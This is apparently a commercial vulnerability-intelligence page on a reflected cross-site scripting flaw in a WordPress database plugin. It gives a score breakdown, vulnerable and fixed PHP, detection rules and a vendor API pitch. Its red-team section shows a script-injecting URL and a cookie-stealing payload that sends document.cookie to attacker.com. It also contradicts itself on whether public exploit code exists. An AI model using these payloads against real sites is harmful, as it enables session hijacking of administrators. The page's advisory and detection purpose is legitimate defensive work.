☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Tsinf logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 7.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-22345

CVE-2025-22345 Cross-Site Scripting in Tsinf
📅 PUBLISHED: 2025-01-09 16:16 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.23%
👁️
0.23% probability
5.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 7.1
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
7.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-22345 is a reflected Cross-Site Scripting (XSS) vulnerability in the TS Comfort DB WordPress plugin (ts-comfort-database) by vendor Tsinf. The vulnerability exists in versions up to and including 2.0.7 due to improper neutralization of user-supplied input during web page generation. An attacker can craft a malicious URL that, when visited by an authenticated administrator or any user with access to the plugin's interface, executes arbitrary JavaScript in the context of the victim's browser. This can lead to session hijacking, credential theft, or defacement. The CVSS score is 7.1 (High), and no public exploit code or patch is currently available.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify the integrity of the plugin by checking the plugin's checksum against the WordPress.org API. No known supply chain compromise has been reported, but the lack of a patch increases risk for sites using this plugin.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
  • Base Score: 7.1 (High)
  • Attack Vector: Network (AV:N)
  • Attack Complexity: Low (AC:L)
  • Privileges Required: None (PR:N)
  • User Interaction: Required (UI:R) – victim must click a crafted link
  • Scope: Changed (S:C) – impact extends beyond the vulnerable component
  • Confidentiality Impact: Low (C:L) – limited data exposure
  • Integrity Impact: Low (I:L) – limited modification of content
  • Availability Impact: Low (A:L) – limited disruption

The threat level is High due to the low complexity of exploitation and the potential for credential theft or session hijacking in a WordPress admin context.

Deep Dive & Mechanics

The vulnerability resides in the TS Comfort DB plugin's handling of user input within shortcodes or admin-facing pages. The plugin fails to sanitize or escape input before rendering it in the HTML output. An attacker can inject malicious JavaScript via a crafted URL parameter (e.g., ?page=ts-comfort-database&search=<script>alert(1)</script>). When the victim accesses this URL, the injected script executes in their browser session.

The root cause is the use of echo $_GET['param'] or similar unsanitized output without applying WordPress's built-in escaping functions like esc_html() or esc_attr(). This is a classic reflected XSS pattern.

Vulnerable vs. Patched Code

Vulnerable Code (version <= 2.0.7):

<?php
// In some admin page or shortcode handler
$search = $_GET['search'];
echo '<div class="search-result">' . $search . '</div>';
?>

Patched Code (hypothetical):

<?php
// Properly escape output
$search = isset($_GET['search']) ? sanitize_text_field($_GET['search']) : '';
echo '<div class="search-result">' . esc_html($search) . '</div>';
?>

The patched version uses sanitize_text_field() to strip malicious input and esc_html() to encode HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team (Attack Simulation)

  1. Setup: Install WordPress with TS Comfort DB plugin version 2.0.7 on a local or cloud lab.
  2. Craft Payload: Create a URL with a malicious parameter:
    http://target/wp-admin/admin.php?page=ts-comfort-database&search=<script>alert(document.cookie)</script>
    
  3. Deliver: Send the link to an authenticated admin via email or social engineering.
  4. Execute: When the admin clicks the link, the script executes, exfiltrating cookies or performing actions on their behalf.

Advanced Payload (session hijacking):

<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

Blue Team (Defense & Detection)

  1. Monitor Logs: Look for unusual URL parameters containing <script> or onerror= patterns in web server logs.
  2. WAF Rules: Deploy a Web Application Firewall rule to block requests with XSS patterns in query strings.
  3. User Training: Educate admins not to click suspicious links, especially those containing plugin-specific parameters.
  4. Plugin Update: If a patch becomes available, apply immediately. Otherwise, consider disabling the plugin.

Indicators of Compromise (IOCs)

  • Network: HTTP requests to /wp-admin/admin.php?page=ts-comfort-database&search= containing <script> tags or base64-encoded JavaScript.
  • Logs: Web server access logs showing search parameter with HTML/JavaScript content.
  • File System: No specific file changes; XSS is memory-based.
  • Browser: Unexpected pop-ups or redirects when accessing the plugin's admin page.

Detection Engineering

YARA Rule

rule CVE_2025_22345_Reflected_XSS {
    meta:
        description = "Detects reflected XSS attempts targeting TS Comfort DB plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-22345"
    strings:
        $param = "page=ts-comfort-database"
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /onerror\s*=\s*["']?[^"'\s>]+/i
        $xss3 = /onload\s*=\s*["']?[^"'\s>]+/i
    condition:
        all of ($param) and any of ($xss*)
}

Sigma Rule

title: Reflected XSS Attempt Against TS Comfort DB Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with XSS payloads in the search parameter of TS Comfort DB plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains: "page=ts-comfort-database"
        cs-uri-query|contains|all:
            - "<script"
            - ">"
    condition: selection
falsepositives:
    - Legitimate use of HTML in search (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-22345 Reflected XSS in TS Comfort DB"; flow:to_server,established; content:"page=ts-comfort-database"; http_uri; content:"<script"; http_uri; nocase; pcre:"/<script[^>]*>.*<\/script>/iU"; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate Action: Disable the TS Comfort DB plugin until a patch is released.
  2. Short-term Mitigation: Implement a Web Application Firewall (WAF) rule to block requests containing <script> in the search parameter.
  3. Long-term Fix: The vendor must release a patched version that properly sanitizes and escapes all user input. Developers should use esc_html(), esc_attr(), and sanitize_text_field().
  4. Monitoring: Enable detailed logging for WordPress admin pages and review logs for suspicious activity.
  5. User Awareness: Train administrators to avoid clicking untrusted links, especially those with plugin-specific parameters.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Analyst
Report generated for CVE-2025-22345

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"TS Comfort DB"
http.html:"ts-comfort-database"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-22345/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.